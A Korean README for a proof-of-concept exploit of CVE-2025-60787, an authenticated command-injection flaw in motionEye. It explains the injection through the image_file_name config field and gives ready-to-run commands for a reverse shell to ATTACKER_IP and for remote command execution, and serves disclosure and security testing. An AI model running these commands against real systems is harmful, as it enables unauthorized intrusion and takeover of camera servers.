CVE-2025-60787 - motionEye 인증된 RCE

motionEye <= 0.43.1b4에서 무결점 검증되지 않은 motion 구성 매개변수를 통한 인증된 원격 코드 실행

작성자: d3vn0mi

취약점 개요

motionEye는 image_file_name과 같은 구성 필드에서 임의의 문자열을 허용하고 이를 Motion 구성 파일(/etc/motioneye/camera-*.conf)에 직접 기록합니다. Motion 서비스가 재시작되면 이러한 필드를 셸 확장 가능한 문자열로 해석하므로, 인증된 공격자가 임의의 OS 명령을 주입하고 실행할 수 있습니다.

웹 UI에는 이러한 필드에 대한 클라이언트 측 검증이 포함되어 있지만, 조작된 API 요청을 직접 전송하여 쉽게 우회할 수 있습니다.

공격 흐름

1. 유효한 관리자 자격 증명으로 motionEye에 인증합니다
2. 카메라 구성 목록을 가져옵니다
3. 악성 image_file_name 값이 포함된 수정된 구성을 POST합니다
4. Motion은 스냅샷을 촬영할 때(capture_mode: interval-snapshots 통해) 주입된 명령을 처리합니다

요구 사항

• Python 3.6+
• requests 라이브러리
• 유효한 motionEye 관리자 자격 증명
• 대상 motionEye 인스턴스에 대한 네트워크 접근

설치

git clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt

사용법

이 익스플로잇은 리버스 셸과 명령 실행의 두 가지 모드를 지원합니다.

리버스 셸

사용자 머신에서 리스너를 시작한 후 다음을 실행하세요:

python3 exploit.py revshell \
    --url http://TARGET:8765 \
    --user admin \
    --password SECRET \
    -i ATTACKER_IP \
    --port 4444

명령 실행

python3 exploit.py command \
    --url http://TARGET:8765 \
    --user admin \
    --password SECRET \
    -e "id; whoami"

옵션

참고 자료

• GitHub Advisory - GHSA-j945-qm58-4gjx
• Exploit-DB #52481
• Rapid7 Metasploit Module
• motionEye Project

크레딧

• d3vn0mi - 익스플로잇 개발 및 도구 제작
• gunzf0x - 최초 CVE 발견 및 연구

면책 조항

이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다. 테스트 전에 항상 적절한 승인을 받으십시오.

라이선스

이 프로젝트는 MIT License에 따라 라이선스가 부여됩니다.